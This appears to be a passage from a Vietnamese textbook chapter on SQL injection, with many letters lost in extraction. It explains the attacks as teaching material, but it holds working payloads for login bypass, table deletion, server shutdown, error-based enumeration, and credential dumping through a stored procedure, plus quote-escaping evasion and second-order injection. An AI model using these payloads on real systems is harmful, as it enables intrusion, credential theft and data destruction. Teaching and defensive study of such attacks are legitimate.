III.1. K thu t t n công SQL Injection
D i đây là k thu t SQL injection đ n gi n nh t, dùng đ v t qua các form
đ ng nh p.
Ví d 6.III.1-1: gi s ng d ng web có đo n mã sau:
SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”
flag= GetQueryResult (SQLQuery) if flag = “” then
check=FALSE else
check=TRUE end if
o n mã trên ki m tra chu i nh p Username và Password. N u t n t i trong b ng User thì check=true ng c l i check=false.
Giá tri nh p vào là:
Username: ’ OR ‘’=’
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
Câu l nh SQL lúc này nh sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’
Câu l nh so sánh trên luôn luôn đúng (vì ‘’ luôn b ng ‘’). Do đó câu đi u ki n trong m nh đ WHERE luôn đúng. Giá tr tên ng i s d ng c a dòng đ u tiên trong b ng s đ c ch n.
K t h p v i kí t đ c bi t c a SQL :
• kí t “ ; ” : đánh d u k t thúc 1 câu truy v n
• kí t “--” : n chu i kí t phía sau nó trên cùng 1 dòng
Ví d 6.III.1-2:
Username: ’; drop table User--
Password:
Câu l nh SQL lúc này nh sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’”
V i câu l nh trên thì b ng User s b xóa hoàn toàn.
Ví d 6.III.1-3: M t ví d khác s d ng kí t đ c bi t SQL đ thâm nh p vào h th ng nh sau:
Username: admin’--
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
Câu l nh SQL nh sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND Password= ‘” & tkPassword & “’”
Câu l nh trên cho phép đ ng nh p vào h th ng v i quy n admin mà không đòi h i password.
III.2. T n công d a vào câu l nh SELECT
Ngoài k thu t đ n gi n trên, vi c t n công th ng d a trên nh ng thông báo l i
đ l y thông tin v b ng c ng nh nh ng tr ng trong b ng. làm đ c đi u này, c n ph i hi u nh ng thông báo l i và t đó ch nh s a n i dung nh p cho phù h p.
Khái ni m Direct Injection:
Nh ng đ i s đ c thêm vào trong câu l nh mà không n m gi a nh ng d u nh y
đ n hay d u ngo c kép là tr ng h p direct injection. Ví d III.2.1
Ví d 6.III.2-1:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName
Khái ni m Quote Injection:
Nh ng tr ng h p đ i s đ c nh p vào đ u đ c ng d ng cho vào gi a hai d u nháy đ n hay ngo c kép là tr ng h p Quote Injection. Ví d III.2.2
Ví d 6.III.2-2:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName & “’”
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
vô hi u hoá d u nháy và thay đ i câu l nh mà v n gi đ c cú pháp đúng, chu i mã chèn thêm vào ph i có m t d u nháy đ n tr c chu i kí t đ c chèn vào và cu i câu l nh ph i có m t d u nháy đ n, ch ng h n nh sau:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’”
N u đã th c hi n nh trên mà thông báo l i có liên quan đ n d u “(“ thì trong chu i chèn vào ph i có “)”:
Ví d 6.III.2-3: Gi s :
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName & “’”)
Thì cú pháp h p l nh sau:
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or ‘’=’’”
Ngoài ra kí t % th ng đ c dùng trong nh ng tr ng h p tìm ki m thông tin.
Ví d 6.III.2-4:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’”
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
III.3. T n công d a vào câu l nh HAVING
HAVING s d ng cùng chung v i m nh đ GROUP BY là ph ng pháp h u hi u đ nh n thông tin b ng, tr ng… và s đ c bàn sâu h n trong ph n 4.
III.4. T n công d a vào câu l nh k t h p UNION
L nh SELECT đ c dùng đ l y thông tin t c s d li u. Thông th ng v trí có th đ c chèn thêm vào m t m nh đ SELECT là sau WHERE. có th tr v nhi u dòng thông tin trong b ng, thay đ i đi u ki n trong m nh đ WHERE b ng cách chèn thêm UNION SELECT.
Ví d 6.III.4-1:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User”
Câu l nh trên tr v m t t p k t qu là s k t h p gi a tkUsername v i tkPassword trong b ng User.
Ghi chú:
• S c t trong hai câu SELECT ph i kh p v i nhau. Ngh a là s l ng c t trong câu l nh SELECT ban đ u và câu l nh UNION SELECT phía sau b ng nhau và cùng ki u.
Nh vào l i cú pháp tr v sau khi chèn thêm câu l nh UNION mà có th bi t ki u c a m i tr ng.
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
Sau đây là nh ng ví d đ c th c hi n khi không bi t n i dung c s d li u d a vào HAVING, GROUP BY, UNION:
Ví d 6.III.4-2: Nh c l i câu truy v n c n đ đ ng nh p:
SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”
u tiên, đ bi t tên b ng và tên tr ng mà câu truy v n s d ng, s d ng câu
đi u ki n “having” , nh ví d sau:
Giá tr nh p vào:
Username: ’having 1=1--
L i phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'User.tkUsername' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
Nh vào l i phát sinh này mà bi t đ c b ng s d ng trong câu truy v n là User và trong b ng t n t i m t tr ng tên là tkUsername.
Sauđó s d ng GROUP BY:
Ví d 6.III.4-3:
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
L i phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Column'User.tkPassword'is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Nh v y tkPassword là m t tr ng c a b ng User và đ c s d ng trong câu truy v n.
Ti p t c dùng GROUP BY cho đ n khi bi t đ c t t c các tr ng trong b ng User tham gia vào câu truy v n.
Khi không còn báo l i cú pháp GROUP BY n a thì chuy n qua công đo n ki m tra ki u c a t ng tr ng trong b ng. Lúc này UNION đ c s d ng:
Ví d 6.III.4-4:
Username:’union select sum(tkUsername) from User
L nh sum là l nh tính t ng cho đ i s bên trong d u ngo c. i s ph i là ki u s . N u đ i s không là ki u s thì phát sinh l i nh sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
Nh v y v i thông đi p l i nh trên thì tkUsername ch c ch n ph i là ki u “varchar”.
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
V i ph ng pháp trên, d dàng xác đnh đ c ki u c a t ng tr ng trong b ng. Sau khi đã nh n đ y đ trông tin trên thì hacker d dàng t thêm thông tin vào b ng User.
Ví d 6.III.4-5:
Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)--
Hacker thêm n i dung nh Ví d 6.III.4.2.4 bây gi tr thành ng i qu n tr m ng mà không c n m t kh uđ ch ng th c.
Ví d 6.III.4-6: minh ho m t công đo n s giúp hacker đ c h t thông tin trong b ng User:
• B c 1: T o m t Stored procedure đ chép vào t t c thông tin c a 2 tr ng tkUsername và tkPassword trong b ng User thành m t chu i vào m t b ng m i là foo có m t tr ng là ret b ngđo n mã sau:
create proc test as
begin
declare @ret varchar(8000) set @ret=':'
select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo
end
Th c thi câu l nh b ng cách nh p vào form.
Username:’;Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+'
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
'+tkUsername+'/'+tkPassword from User select @ret as ret into foo
• B c 2: G i Stored proceduređó
Sau khi đã t o đ c stored procedure nh trên, th c hi n l i g i hàm:
Username:’;exec test
• B c 3: Dùng UNIONđ xem n i dung b ng foo
Username:’;select ret,1 from foo union select 1,1 from foo
L i phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu'
to a column of data type int.
Qua m t s công đo n, hacker đã thu đ c n i dung c a b ng User g m có tên tkUsername và m t kh u tkPassword.
• B c 4: Ngoài ra hacker còn có th c n th n xoá b ng foođ xoá d u v t:
Username: ‘; drop table foo--
Ví d 6.III.4-7: Còn đây là m t cách khác đ xác đnh n i dung c a b ng User, còn m t ph ng pháp tìm ki m thông tin nh sau:
• B c 1:
Tìm tu n t t ng dòng trên b ng User
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
ho c :
Username:’union select min(tkUsername),1 from User where tkUsername> ’a’--
L i phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type
int.
Ng i đ u tiên trong b ng User là “admin”.
• B c 2:
bi t các giá tr ti p theo, nh p chu i sau:
Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User
L i phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'nhimmap' to a column of data type int.
• B c 3:
Th c hi n nh b c 2 cho ra k t qu là t ng dòng v i tr ng tkUsername trong b ng User.
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
• B c 4:
bi t thêm v tkPasswork, có th th c hi n nh sau:
Username:’;select tkPassword,1 from User where tkUsername= ’admin’union select 1,1 from User
L i phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'passOfAdmin' to a column of data type int.
bi t thông tin v các b ng, c t trong c s d li u, có th truy v n b ngđ n b ng h th ng INFORMATION_SCHEMA.TABLES.
Ví d 6.III.4-8:
select TABLE_NAME from INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.TABLES ch a thông tin v t t c các table có trên server. Tr ng TABLE_NAME ch a tên c a m i table trong c s d li u.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User'
Câu l nh trên đ c s d ng đ bi t thông tin v c t trong b ng.
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
Ví d 6.III.4-9: bi t ng d ng đang ch y trên Server nào, có th xác đnh b ng cách sau:
Username:’;select @@SERVERNAME union select 1
L i phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'KHOAI_NGU' to a column of data type int.
III.5. T n công d a vào l nh INSERT
T khoá INSERT dùng đ đ a thông tin vào c s d li u. Thông th ng câu l nh INSERT đ c dùng trong các tr ng h p nh : thông tin đ ng kí ng i s d ng, guestbook…v..v…
K thu t “;”, “--“ đ c dùng nh đã t ng dùng v i câu l nh SELECT, ph i đ m b o đúng s l ng và ki u giá tr đ c nh p vào nh m tránh l i v cú pháp (n u không xác đnh đ c ki u d li u có th nh p t t c là s ).
Ví d 6.III.5-1:
SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” & strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
III.6. T n công d a vào STORED PROCEDURE
Stored Procedure đ c s d ng trong l p trình Web v i m c đích gi m s ph c t p trong ng d ng và tránh s t n công trong k thu t SQL Injection. Tuy nhiên hacker v n có th l i d ng nh ng Stored Procedure đ t n công vào h th ng.
Ví d 6.III.6-1: Stored procedure sp_login g m hai tham s là username và password. N u nh p:
Username: nhimmap
Password: ‘;shutdown--
L nh g i stored procedure nh sau:
exec sp_login ‘nhimmap’,‘’;shutdown--’
L nh shutdown th c hi n d ng SQL Server ngay l p t c.
III.7. Nâng cao
III.7.1. Chu i kí t không có d u nháy đ n:
Nh ng nhà l p trình có th b o v ng d ng c a h b ng cách lo i b t t c d u nháy, thông th ng lo i b d u nháy b ng cách thay m t d u nháy thành 2 d u nháy.
Ví d 6.III.7.1-1:
Function escape (input)
Input=replace(input, “’”, “’’”) escape=input
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
Rõ ràng là, nó ng n ch n đ c t t c nh ng ki u t n công trên. Tuy nhiên n u mu n t o ra m t chu i giá tr mà không dùng các d u nháy, có th dùng hàm “char()” nh ví d sau:
Ví d 6.III.7.1-2:
INSERT into User VALUES(666, char(0x63) +char(0x68) +char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68) +char(0x72) +char(0x69) +char(0x73),0xffff)
Ví d 6.III.7.1-3 trên tuy là m t câu truy v n không có d u nháy đ n nào nh ng nó v n có th insert chu i vào b ng, và t ng đ ng v i:
INSERT into User VALUES( 666,’chris’,’chris’,255)
Hacker c ng có th ch n username , password là s đ tránh d u nháy nh ví d sau:
Ví d 6.III.7.1-4:
INSERT into User VALUES( 667,123,123,0xffff)
SQL server s t đ ng chuy n t s sang chu i.
III.7.2. T n công 2 t ng
M c dù ng d ng đã thay th d u nháy đ n nh ng v n còn kh n ng b chèn
đo n mã SQL .
Ví d 6.III.7.2-1: đ ng kí account trong ng d ng, nh p username nh sau:
Username: admin'—
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
ng d ng s thay th d u nháy, k t qu trong câu insert s nh sau:
INSERT into User VALUES(123, 'admin''--', 'password',0xffff)
(nh ng trong c s d li u s l u là “admin’--“)
Gi s r ng ng d ng cho phép ng i dùng thay đ i m t kh u. Các đo n mã ASP đ c thi t k đ m b o r ng ng i s d ng ph i nh p đúng m t kh u c tr c khi nh p m t kh u m i. o n mã nh sau:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn ); if (rso.EOF)
{…
Câu truy v n thi t l p m t kh u m i nh sau:
sql = "update users set password = '" + newpassword + "' where username= '" + rso("username") + "'"
rso(“username”) chính là giá tr username có đ c câu truy v n login và nó là admin’--
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
update users set password = 'password' where username = 'admin'--'
Nh đó hacker có th thay đ i m t kh u c a admin b ng giá tr c a mình.
ây là 1 tr ng h p còn t n t i trong h u h t nh ng ng d ng l n ngày nay có s d ng c ch lo i b d li u. Gi i pháp t t nh t là lo i b nh ng giá tr l i h n là ch nh s a l i. Nh ng có m t v n đ là có m t s ô nh p d li u (nh ô nh p tên) cho phép nh ng kí t này. Ví d : O’Brien.
Cách t t nh t đ gi i quy t v n đ này là không cho phép nh p d u nháy đ n. N u đi u này không th th c hi n đ c , thì lo i b và thay th nh trên. Trong tr ng h p này, cách t t nh t là đ m b o t t c d li u đ c đ a vào câu truy v n SQL (k c nh ng giá tr trong c s d li u) ph i đ c ki m soát m t cách ch t ch .
M t s ng d ng phòng ch ng vi c thêm câu truy v n t ng i dùng b ng cách gi i h n chi u dài c a ô nh p. Tuy nhiên, v i gi i h n này thì m t s ki u t n công không th th c hi n đ c nh ng v n có ch h đ hacker l i d ng.
Ví d 6.III.7.2-2:
Gi s c username và password đ u b gi i h n t i đa là 16 kí t . Nh p:
Username: aaaaaaaaaaaaaaa’
Ch ng 6: Chèn câu truy v n SQL (SQL Injection)
ng d ng s thay th m t d u nháy đ n b ng hai d u nháy đ n nh ng do chi u dài chu i b gi i h n ch là 16 kí t nên d u nháy đ n v a đ c thêm s